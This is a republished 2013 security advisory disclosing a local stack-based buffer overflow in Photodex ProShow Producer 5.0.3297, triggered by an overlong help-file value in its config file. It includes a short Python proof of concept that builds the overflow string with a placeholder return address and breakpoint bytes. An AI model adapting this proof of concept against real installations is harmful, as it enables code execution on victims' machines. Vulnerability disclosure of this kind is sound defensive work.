Photodex ProShow Producer 5.0.3297 ExpandMacroFilename() Local Buffer Overflow

Credit: Julien Ahrens
Risk: Low
Local: Yes
Remote: No
CWE: CWE-121

Inshell Security Advisory 1. ADVISORY INFORMATION ----------------------- Product: Photodex ProShow Producer Vendor URL: Type: Stack-based Buffer Overflow [CWE-121] Date found: 2013-01-26 Date published: 2013-01-26 CVSSv2 Score: 4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P) CVE: - 2. CREDITS ---------- This vulnerability was discovered and researched by Julien Ahrens from Inshell Security. 3. VERSIONS AFFECTED -------------------- Photodex ProShow Producer v5.0.3297, older versions may be affected too. 4. VULNERABILITY DESCRIPTION ---------------------------- A stack-based buffer overflow vulnerability has been identified in Photodex ProShow Producer v5.0.3297. When opening the application help via the menu, the application loads the location of the help file from the file "proshow.cfg". If the file "" also exists, the values are crosschecked. The ExpandMacroFilename function does not properly validate the length of the string loaded from the "cpicHelpFile" identifier from the config file before using it in the further application context, which leads to a stack-based buffer overflow condition. Vulnerable function definition: int __stdcall ExpandMacroFilename(int, void *Dst, size_t Size) An attacker needs to force the victim to place an arbitrary "proshow.cfg" and/or "" file into the application directory to execute arbitrary code. 5. PROOF-OF-CONCEPT (Code / Exploit) ------------------------------------ The following generated string has to be inserted into the proshow.cfg and/or to trigger the vulnerability. #!/usr/bin/python file="poc.txt" junk1="\x41" * 238 eip="\x42" * 4 junk2="\xCC" * 100 poc=junk1 + eip + junk2 try: print ("[*] Creating exploit file...\n"); writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print ("[*] File successfully created!"); except: print ("[!] Error while creating file!"); For further Screenshots and/or PoCs visit: 6. SOLUTION ----------- None 7. REPORT TIMELINE ------------------ 2013-01-26: Discovery of the vulnerability 2013-01-26: Full Disclosure because the vendor ignored previous reports. 8. REFERENCES -------------


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top